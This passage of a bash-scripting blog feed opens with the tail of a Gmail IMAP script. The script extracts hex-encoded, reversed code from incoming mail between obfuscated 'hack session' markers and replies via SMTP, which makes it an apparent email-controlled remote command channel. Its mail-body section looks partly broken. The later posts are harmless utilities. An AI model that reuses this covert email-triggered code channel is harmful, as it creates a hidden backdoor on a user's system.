    )&quot;


    SUBJECT=&quot;RES: $(echo -e &quot;$LAST_MAIL&quot; | grep ENVELOPE | sed &#39;s/^* [0-9]* FETCH (ENVELOPE (&quot;[^&quot;]*&quot;[ ]&quot;\([^&quot;]*\)&quot;.*/\1/g&#39;)&quot;;

    DEST_ADDR=&quot;$(echo -e &quot;$LAST_MAIL&quot; | grep ENVELOPE | sed &#39;s/^* [0-9]* FETCH (ENVELOPE .* ((&quot;[^&quot;]*&quot; NIL &quot;\([^ ]*\)&quot; &quot;\([^&quot;]*\)&quot;.*/\1@\2/g&#39;)&quot;

    # CODE_TO_RUN=&quot;$(echo -e &quot;$LAST_MAIL&quot; | sed -n &quot;/^# NOISSES_KCAH_TRATS #$/,/^# NOISSES_KCAH_DNE #$/p&quot;)&quot;;

    CODE_TO_RUN=&quot;$(echo -e &quot;$LAST_MAIL&quot; | tr -d &quot;\n&quot; | grep &quot;NOISSES_KCAH_TRATS&quot; | sed &quot;s/.*# NOISSES_KCAH_TRATS #\(.*\)# NOISSES_KCAH_DNE #.*/\1/g&quot; | xxd -r --ps | rev )&quot;;


    [ &quot;$DEST_ADDR&quot; == &quot;mailer-daemon@google.com&quot; ] &amp;amp;&amp;amp; break;

    grep &quot;Delivery to the following recipient failed permanently&quot; &amp;lt;( echo -e &quot;${LAST_MAIL}&quot; ) &amp;amp;&amp;amp; break;

    (( ${TOTAL_MESSAGES:=0} == 0 )) &amp;amp;&amp;amp; break;


    MAIL_BODY=&quot;$(

    {

    [ echo -e &quot;

    # ---------------------------------------------------------- #

    # RESPONSE VIA BASH #

    # --------------------- ORIGINAL MESSAGE ------------------- #

    \n${LAST_MAIL}

    &quot;;

    }

    )&quot;;



    openssl s_client -crlf -connect smtp.gmail.com:465 &amp;lt; &amp;lt;(

    sleep $SLEEP_TIME; echo &quot;ehlo ${GMAIL_USER}&quot;;

    sleep $SLEEP_TIME; echo &quot;AUTH PLAIN ${AUTH_HASH}&quot;;

    sleep $SLEEP_TIME; echo &quot;mail from:&amp;lt;${GMAIL_USER}@gmail.com&amp;gt;&quot;;

    sleep $SLEEP_TIME; echo &quot;rcpt to:&quot;;

    sleep $SLEEP_TIME; echo &quot;rcpt to:&amp;lt;${DEST_ADDR}&amp;gt;&quot;;

    sleep $SLEEP_TIME; echo &quot;DATA&quot;;

    sleep $SLEEP_TIME; echo &quot;From: ${GMAIL_USER}&quot;;

    sleep $SLEEP_TIME; echo &quot;Subject: $SUBJECT&quot;;

    sleep $SLEEP_TIME; echo &quot;To: ${DEST_ADDR}&quot;;

    sleep $SLEEP_TIME; echo &quot;&quot;;

    sleep $SLEEP_TIME; echo -e &quot;${MAIL_BODY}&quot;;

    sleep $SLEEP_TIME; echo &quot;&quot;;

    sleep $SLEEP_TIME; echo &quot;.&quot;;

    sleep $SLEEP_TIME; echo &quot;quit&quot;;

    sleep $SLEEP_TIME;

    ) 2&amp;gt;&amp;amp;1 | cat - &amp;gt; /dev/null 
&lt;/pre&gt;</content><link rel='replies' type='application/atom+xml' href='http://glaudiston.blogspot.com/feeds/5461909168940466432/comments/default' title='Postar comentários'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment/fullpage/post/527784892055465211/5461909168940466432' title='0 Comentários'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/527784892055465211/posts/default/5461909168940466432'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/527784892055465211/posts/default/5461909168940466432'/><link rel='alternate' type='text/html' href='http://glaudiston.blogspot.com/2011/08/gmail-acess-via-bash-imap.html' title='Gmail acess via bash - IMAP'/><author><name>Glaudiston</name><uri>http://www.blogger.com/profile/03591084064496857782</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-527784892055465211.post-1643447789693646573</id><published>2011-05-03T17:42:00.000-03:00</published><updated>2011-05-03T17:43:13.594-03:00</updated><title type='text'>Running various commands in bash with limits</title><content type='html'>Running various commands in bash with limits&lt;br /&gt;&lt;br /&gt;&lt;blockquote&gt;# Run various commands at sametime in bash&lt;br /&gt;#!/bin/bash&lt;br /&gt;&lt;br /&gt;NUM_MAX_THREADS=200;&lt;br /&gt;IN_FILE=&quot;filein.txt&quot;;&lt;br /&gt;OUT_FILE=&quot;fileout.txt&quot;;&lt;br /&gt;CURR_LINE=0;&lt;br /&gt;SECONDS=0;&lt;br /&gt;SECONDS_AVG=0;&lt;br /&gt;TOTAL_LINES=$(cat $IN_FILE | wc -l);&lt;br /&gt;LINE_START_AT=&quot;$1&quot;;&lt;br /&gt;&lt;br /&gt;# echo the time statistics&lt;br /&gt;time (&lt;br /&gt;    # read the in file&lt;br /&gt;    cat $IN_FILE |&lt;br /&gt;        # get the row,&lt;br /&gt;        while read LINE;&lt;br /&gt;            do&lt;br /&gt;            # jumps at the start line&lt;br /&gt;            if [[ $CURR_LINE -lt $LINE_START_AT ]]; then&lt;br /&gt;                    echo &quot;Jumping line... $(( CURR_LINE++ ))&quot;;&lt;br /&gt;                    continue;&lt;br /&gt;            fi;&lt;br /&gt;            # if don&#39;t got processed&lt;br /&gt;            if [[ $(grep $LINE $OUT_FILE|wc -l) -eq 0 ]]; then&lt;br /&gt;                    # check the number of threads running&lt;br /&gt;                    THREADS_IN_USE=$( ps -Afe | grep wget | grep &#39;YOURCOMMAND&#39; | wc -l );&lt;br /&gt;                    # if over the limits, wait to free...&lt;br /&gt;                    while [[ $THREADS_IN_USE -gt $NUM_MAX_THREADS ]];&lt;br /&gt;                        do echo &quot;WAITING THREADS TO GET DONE ($THREADS_IN_USE RUNNING)...&quot;;&lt;br /&gt;                        sleep 1;&lt;br /&gt;                        THREADS_IN_USE=$( ps -Afe | grep wget | grep &#39;YOURCOMMAND&#39; | wc -l );&lt;br /&gt;                    done;&lt;br /&gt;                    # runs the command&lt;br /&gt;                    {&lt;br /&gt;                            echo $( YOURCOMMAND &quot;$LINE&quot; ) &amp;gt;&amp;gt; $OUT_FILE;&lt;br /&gt;                    } &amp;amp;&lt;br /&gt;            fi;&lt;br /&gt;            # TIP, use my estimate.sh to get the remaining time.&lt;br /&gt;            # get the process average per second.&lt;br /&gt;            NUM_LINES_DONE=$(cat $OUT_FILE | wc -l);&lt;br /&gt;            SECONDS=$(date &quot;+%s&quot;);&lt;br /&gt;            if [[ $SECONDS -gt $(( SECONDS_AVG + 10 )) ]]; then&lt;br /&gt;                    SECONDS_ACTUAL=$(( SECONDS - SECONDS_AVG ));&lt;br /&gt;                    NUM_LINES_DONE_MEDIA=$(( NUM_LINES_DONE - NUM_LINES_DONE_ANT ));&lt;br /&gt;                    NUM_LINES_DONE_ANT=$NUM_LINES_DONE;&lt;br /&gt;                    SECONDS_AVG=$SECONDS;&lt;br /&gt;                    MEDIA=$(( NUM_LINES_DONE_MEDIA / SECONDS_ACTUAL ));&lt;br /&gt;                    NUM_LINES_REMAINING=$(( TOTAL_LINES - NUM_LINES_DONE ));&lt;br /&gt;                    REMAINING_TIME=$(( NUM_LINES_REMAINING * MEDIA ));&lt;br /&gt;            fi;&lt;br /&gt;            # echoes the status and qtd of active threads&lt;br /&gt;            echo &quot;Threads running: ${THREADS_IN_USE}, Lines done: $NUM_LINES_DONE, processing line: $(( CURR_LINE++)), MEDIA: $MEDIA Lines/Second, Remaining time: $REMAINING_TIME SECONDS;&quot;;&lt;br /&gt;        done;&lt;br /&gt;);&lt;br /&gt;&lt;br /&gt;&lt;/blockquote&gt;</content><link rel='replies' type='application/atom+xml' href='http://glaudiston.blogspot.com/feeds/1643447789693646573/comments/default' title='Postar comentários'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment/fullpage/post/527784892055465211/1643447789693646573' title='0 Comentários'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/527784892055465211/posts/default/1643447789693646573'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/527784892055465211/posts/default/1643447789693646573'/><link rel='alternate' type='text/html' href='http://glaudiston.blogspot.com/2011/05/running-various-commands-in-bash-with.html' title='Running various commands in bash with limits'/><author><name>Glaudiston</name><uri>http://www.blogger.com/profile/03591084064496857782</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-527784892055465211.post-2906522811814962115</id><published>2011-05-03T17:21:00.002-03:00</published><updated>2011-05-03T17:23:06.649-03:00</updated><title type='text'>give color to your scripts</title><content type='html'>Use the below codes in bash using &#39;echo -e &#39; to colorize your output.&lt;br /&gt;&lt;br /&gt;&lt;blockquote&gt;#!/bin/bash&lt;br /&gt;#&lt;br /&gt;# Description:&lt;br /&gt;#&lt;br /&gt;#    Prints a color table of 8bg * 8fg * 2 states (regular/bold)&lt;br /&gt;#&lt;br /&gt;# Copyright:&lt;br /&gt;#&lt;br /&gt;#    (C) 2009 Wolfgang Frisch &amp;lt;xororand@unfoog.de&amp;gt;&lt;br /&gt;#&lt;br /&gt;# License:&lt;br /&gt;#&lt;br /&gt;#    This program is free software: you can redistribute it and/or modify&lt;br /&gt;#    it under the terms of the GNU General Public License as published by&lt;br /&gt;#    the Free Software Foundation, either version 3 of the License, or&lt;br /&gt;#    (at your option) any later version.&lt;br /&gt;#&lt;br /&gt;#    This program is distributed in the hope that it will be useful,&lt;br /&gt;#    but WITHOUT ANY WARRANTY; without even the implied warranty of&lt;br /&gt;#    MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the&lt;br /&gt;#    GNU General Public License for more details.&lt;br /&gt;#&lt;br /&gt;#    You should have received a copy of the GNU General Public License&lt;br /&gt;#    along with this program.  If not, see &amp;lt;http://www.gnu.org/licenses/&amp;gt;.&lt;br /&gt;&lt;br /&gt;echo&lt;br /&gt;echo Table for 16-color terminal escape sequences.&lt;br /&gt;echo Replace ESC with \\033 in bash.&lt;br /&gt;echo&lt;br /&gt;echo &quot;Background | Foreground colors&quot;&lt;br /&gt;echo &quot;---------------------------------------------------------------------&quot;&lt;br /&gt;for((bg=40;bg&amp;lt;=47;bg++)); do&lt;br /&gt;        for((bold=0;bold&amp;lt;=1;bold++)) do&lt;br /&gt;                echo -en &quot;\033[0m&quot;&quot; ESC[${bg}m   | &quot;&lt;br /&gt;                for((fg=30;fg&amp;lt;=37;fg++)); do&lt;br /&gt;                        if [ $bold == &quot;0&quot; ]; then&lt;br /&gt;                                echo -en &quot;\033[${bg}m\033[${fg}m [${fg}m  &quot;&lt;br /&gt;                        else&lt;br /&gt;                                echo -en &quot;\033[${bg}m\033[1;${fg}m [1;${fg}m&quot;&lt;br /&gt;                        fi&lt;br /&gt;                done&lt;br /&gt;                echo -e &quot;\033[0m&quot;&lt;br /&gt;        done&lt;br /&gt;        echo &quot;--------------------------------------------------------------------- &quot;&lt;br /&gt;done&lt;br /&gt;&lt;br /&gt;echo&lt;br /&gt;echo&lt;/blockquote&gt;</content><link rel='replies' type='application/atom+xml' href='http://glaudiston.blogspot.com/feeds/2906522811814962115/comments/default' title='Postar comentários'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment/fullpage/post/527784892055465211/2906522811814962115' title='0 Comentários'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/527784892055465211/posts/default/2906522811814962115'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/527784892055465211/posts/default/2906522811814962115'/><link rel='alternate' type='text/html' href='http://glaudiston.blogspot.com/2011/05/give-color-to-your-scripts.html' title='give color to your scripts'/><author><name>Glaudiston</name><uri>http://www.blogger.com/profile/03591084064496857782</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-527784892055465211.post-6550687466845462210</id><published>2011-05-03T17:14:00.003-03:00</published><updated>2011-05-03T17:18:22.013-03:00</updated><title type='text'>estimate.sh</title><content type='html'>A cool script whoted by myself to calculate the remaining time to a file achieve a number of lines.&lt;br /&gt;&lt;br /&gt;&lt;blockquote&gt;devtools:/srv/scripts # cat estimate.sh&lt;br /&gt;#!/bin/bash&lt;br /&gt;# estimate the remaining time for a file to achieve a number&lt;br /&gt;# of lines&lt;br /&gt;# usage&lt;br /&gt;#       &amp;lt;scriptName&amp;gt; &amp;lt;fileName&amp;gt; &amp;lt;totaloflines&amp;gt;&lt;br /&gt;file=&quot;$1&quot;;&lt;br /&gt;vmax=$2;&lt;br /&gt;tini=$(date +%s);&lt;br /&gt;vini=$(cat $file | wc -l);&lt;br /&gt;while ( sleep 1 );&lt;br /&gt;do&lt;br /&gt;        # get the current number of rows&lt;br /&gt;        vact=$(cat $file | wc -l);&lt;br /&gt;        # get the rows recovered since the start of script&lt;br /&gt;        vela=$((vact-vini));&lt;br /&gt;        # get the current time in seconds&lt;br /&gt;        tact=$(date +%s);&lt;br /&gt;        # get the time elapsed in seconds since the start of script&lt;br /&gt;        tela=$((tact-tini));&lt;br /&gt;&lt;br /&gt;        # discover the average of rows added per second&lt;br /&gt;        if (( $tela &amp;gt; 0 )); then&lt;br /&gt;                vave=$((vela / tela));&lt;br /&gt;        fi;&lt;br /&gt;        # get rows remaining&lt;br /&gt;        vrem=$(( vmax - vact ))&lt;br /&gt;        # get the estimated remaining time&lt;br /&gt;        if (( $vave &amp;gt; 0 )); then&lt;br /&gt;                trem=$(( vrem / vave ))&lt;br /&gt;        fi;&lt;br /&gt;&lt;br /&gt;        hr=$((trem / 3600 ))&lt;br /&gt;        mr=$((trem / 60 % 60 ))&lt;br /&gt;        sr=$((trem % 60 ))&lt;br /&gt;&lt;br /&gt;        echo &quot;Linhas processadas: $vact; linhas restantes: $vrem; tempo restante: $hr:$mr:$sr;&quot;;&lt;br /&gt;done;&lt;scriptname&gt;&lt;filename&gt;&lt;totaloflines&gt;&lt;/totaloflines&gt;&lt;/filename&gt;&lt;/scriptname&gt;&lt;/blockquote&gt;</content><link rel='replies' type='application/atom+xml' href='http://glaudiston.blogspot.com/feeds/6550687466845462210/comments/default' title='Postar comentários'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment/fullpage/post/527784892055465211/6550687466845462210' title='0 Comentários'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/527784892055465211/posts/default/6550687466845462210'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/527784892055465211/posts/default/6550687466845462210'/><link rel='alternate' type='text/html' href='http://glaudiston.blogspot.com/2011/05/estimatesh.html' title='estimate.sh'/><author><name>Glaudiston</name><uri>http://www.blogger.com/profile/03591084064496857782</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-527784892055465211.post-4483826483281949529</id><published>2011-05-03T17:10:00.002-03:00</published><updated>2011-05-03T17:11:43.889-03:00</updated><title type='text'>gnu bash script template</title><content type='html'>If you want to do a nice script in gnu way you may think useful:&lt;br /&gt;&lt;br /&gt;&lt;blockquote&gt;#&lt;br /&gt;# A sample program illustrating shell option parsing.&lt;br /&gt;#&lt;br /&gt;# Copyright (C) 2007 by Bob Proulx &amp;lt;[EMAIL PROTECTED]&amp;gt;.&lt;br /&gt;#&lt;br /&gt;# This program is free software; you can redistribute it and/or modify&lt;br /&gt;# it under the terms of the GNU General Public License as published by&lt;br /&gt;# the Free Software Foundation; either version 2, or (at your option)&lt;br /&gt;# any later version.&lt;br /&gt;#&lt;br /&gt;# This program is distributed in the hope that it will be useful,&lt;br /&gt;# but WITHOUT ANY WARRANTY; without even the implied warranty of&lt;br /&gt;# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the&lt;br /&gt;# GNU General Public License for more details.&lt;br /&gt;#&lt;br /&gt;# You should have received a copy of the GNU General Public License&lt;br /&gt;# along with this program; if not, write to the Free Software Foundation,&lt;br /&gt;# Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA.&lt;br /&gt;&lt;br /&gt;version=0.0&lt;br /&gt;&lt;br /&gt;progname=$(basename $0)&lt;br /&gt;&lt;br /&gt;print_help()&lt;br /&gt;{&lt;br /&gt;    cat &amp;lt;&amp;lt;&#39;EOF&#39;&lt;br /&gt;Usage: exampleprog [options] SOURCE...&lt;br /&gt;  or:  exampleprog [options] DIRECTORY&lt;br /&gt;&lt;br /&gt;Do something with something.  Write your man page description here.&lt;br /&gt;&lt;br /&gt;Options:&lt;br /&gt;      --help          print this help message&lt;br /&gt;      --version       print program version&lt;br /&gt;  -a, --alpha         do alpa&lt;br /&gt;  -b, --bravo=STRING  do bravo&lt;br /&gt;  -d, --debug         debug program&lt;br /&gt;  -q, --quiet         quiet output&lt;br /&gt;  -v, --verbose       verbose output&lt;br /&gt;&lt;br /&gt;Examples:&lt;br /&gt;&lt;br /&gt;The most common use is to run it like this.&lt;br /&gt;&lt;br /&gt;  $ exampleprog&lt;br /&gt;&lt;br /&gt;But sometimes like this.&lt;br /&gt;&lt;br /&gt;  $ exampleprog -q -a --bravo=foo&lt;br /&gt;&lt;br /&gt;Report bugs to &lt;mailing-address&gt;.&lt;br /&gt;EOF&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;print_version()&lt;br /&gt;{&lt;br /&gt;    cat &amp;lt;&lt;eof progname=&quot;&quot; version=&quot;&quot; copyright=&quot;&quot; free=&quot;&quot; software=&quot;&quot; this=&quot;&quot; is=&quot;&quot; you=&quot;&quot; may=&quot;&quot; redistribute=&quot;&quot; copies=&quot;&quot; of=&quot;&quot; it=&quot;&quot; under=&quot;&quot; the=&quot;&quot; terms=&quot;&quot; gnu=&quot;&quot; general=&quot;&quot; public=&quot;&quot; license=&quot;&quot; org=&quot;&quot; licenses=&quot;&quot; html=&quot;&quot;&gt;.&lt;br /&gt;There is NO WARRANTY, to the extent permitted by law.&lt;br /&gt;&lt;br /&gt;Written by Bob Proulx.&lt;br /&gt;EOF&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;SHORTOPTS=&quot;ab:dqv&quot;&lt;br /&gt;LONGOPTS=&quot;help,version,alpha,bravo:,debug,quiet,verbose&quot;&lt;br /&gt;&lt;br /&gt;if $(getopt -T &amp;gt;/dev/null 2&amp;gt;&amp;amp;1) ; [ $? = 4 ] ; then # New longopts getopt.&lt;br /&gt;    OPTS=$(getopt -o $SHORTOPTS --long $LONGOPTS -n &quot;$progname&quot; -- &quot;$@&quot;)&lt;br /&gt;else # Old classic getopt.&lt;br /&gt;    # Special handling for --help and --version on old getopt.&lt;br /&gt;    case $1 in --help) print_help ; exit 0 ;; esac&lt;br /&gt;    case $1 in --version) print_version ; exit 0 ;; esac&lt;br /&gt;    OPTS=$(getopt $SHORTOPTS &quot;$@&quot;)&lt;br /&gt;fi&lt;br /&gt;&lt;br /&gt;if [ $? -ne 0 ]; then&lt;br /&gt;    echo &quot;&#39;$progname --help&#39; for more information&quot; 1&amp;gt;&amp;amp;2&lt;br /&gt;    exit 1&lt;br /&gt;fi&lt;br /&gt;&lt;br /&gt;eval set -- &quot;$OPTS&quot;&lt;br /&gt;&lt;br /&gt;alpha=false&lt;br /&gt;bravo=&quot;&quot;&lt;br /&gt;debug=false&lt;br /&gt;quiet=false&lt;br /&gt;verbose=false&lt;br /&gt;while [ $# -gt 0 ]; do&lt;br /&gt;    : debug: $1&lt;br /&gt;    case $1 in&lt;br /&gt;        --help)&lt;br /&gt;            print_help&lt;br /&gt;            exit 0&lt;br /&gt;            ;;&lt;br /&gt;        --version)&lt;br /&gt;            print_version&lt;br /&gt;            exit 0&lt;br /&gt;            ;;&lt;br /&gt;        -a|--alpha)&lt;br /&gt;            alpha=true&lt;br /&gt;            shift&lt;br /&gt;            ;;&lt;br /&gt;        -b|--bravo)&lt;br /&gt;            bravo=$2&lt;br /&gt;            shift 2&lt;br /&gt;            ;;&lt;br /&gt;        -d|--debug)&lt;br /&gt;            debug=true&lt;br /&gt;            shift&lt;br /&gt;            ;;&lt;br /&gt;        -q|--quiet)&lt;br /&gt;            quiet=true&lt;br /&gt;            shift&lt;br /&gt;            ;;&lt;br /&gt;        -v|--verbose)&lt;br /&gt;            verbose=true&lt;br /&gt;            shift&lt;br /&gt;            ;;&lt;br /&gt;        --)&lt;br /&gt;            shift&lt;br /&gt;            break&lt;br /&gt;            ;;&lt;br /&gt;        *)&lt;br /&gt;            echo &quot;Internal Error: option processing error: $1&quot; 1&amp;gt;&amp;amp;2&lt;br /&gt;            exit 1&lt;br /&gt;            ;;&lt;br /&gt;    esac&lt;br /&gt;done&lt;br /&gt;&lt;br /&gt;if $verbose; then&lt;br /&gt;   echo &quot;Verbose output here.&quot;&lt;br /&gt;fi&lt;br /&gt;&lt;br /&gt;if ! $quiet; then&lt;br /&gt;    echo Say stuff here.&lt;br /&gt;fi&lt;br /&gt;&lt;br /&gt;$debug &amp;amp;&amp;amp; echo No bugs found here.&lt;br /&gt;&lt;br /&gt;exit 0&lt;/eof&gt;&lt;/mailing-address&gt;&lt;/blockquote&gt;</content><link rel='replies' type='application/atom+xml' href='http://glaudiston.blogspot.com/feeds/4483826483281949529/comments/default' title='Postar comentários'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment/fullpage/post/527784892055465211/4483826483281949529' title='0 Comentários'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/527784892055465211/posts/default/4483826483281949529'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/527784892055465211/posts/default/4483826483281949529'/><link rel='alternate' type='text/html' href='http://glaudiston.blogspot.com/2011/05/gnu-bash-script-template.html' title='gnu bash script template'/><author><name>Glaudiston</name><uri>http://www.blogger.com/profile/03591084064496857782</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry></feed>